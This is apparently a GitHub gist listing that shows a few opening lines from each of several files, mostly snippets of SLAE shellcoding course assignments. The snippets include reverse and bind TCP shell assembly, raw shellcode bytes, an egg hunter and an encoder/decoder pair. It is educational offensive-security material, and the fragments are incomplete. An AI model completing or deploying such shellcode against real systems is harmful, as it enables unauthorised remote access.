This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// BPF_PROG_TYPE_SCHED_CLS | |
#define KBUILD_MODNAME "tc" | |
#include <asm/types.h> | |
#include <asm/byteorder.h> | |
#include <linux/bpf.h> | |
#include <bpf/bpf_helpers.h> | |
#include <linux/pkt_cls.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_read_file.asm | |
global _start | |
section .text | |
_start: | |
; int open(const char *pathname, int flags); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_chmod.asm | |
global _start | |
section .text | |
_start: | |
; int chmod(const char *path, mode_t mode); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py | |
#!/usr/bin/python | |
# -*- coding: utf-8 -*- | |
import sys | |
import getopt | |
import string | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_decoder.asm | |
global _start | |
section .text | |
_start: | |
jmp getaddress | |
mainflow: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c | |
#include <stdio.h> | |
#include <string.h> | |
unsigned char egg[] = \ | |
// Write "Egg Mark" and exit | |
"\x90\x50\x90\x50" // <- First Four Bytes of Signature |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm | |
global _start | |
section .text | |
_start: | |
; setting the registers | |
cld ; clear the direction flag (DF) to use scasd correctly | |
xor ecx, ecx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/2nd.assignment/shell_reverse_tcp.asm | |
global _start | |
section .text | |
_start: | |
; host | |
push 0x0101017f ; IP Number "127.1.1.1" in hex reverse order |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c | |
#include <stdio.h> | |
#include <string.h> | |
unsigned char code[] = \ | |
"\x66\xbd" | |
"\x2b\x67" /* <- Port number 11111 (2 bytes) */ | |
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm | |
global _start | |
section .text | |
_start: | |
; Setting port number |
NewerOlder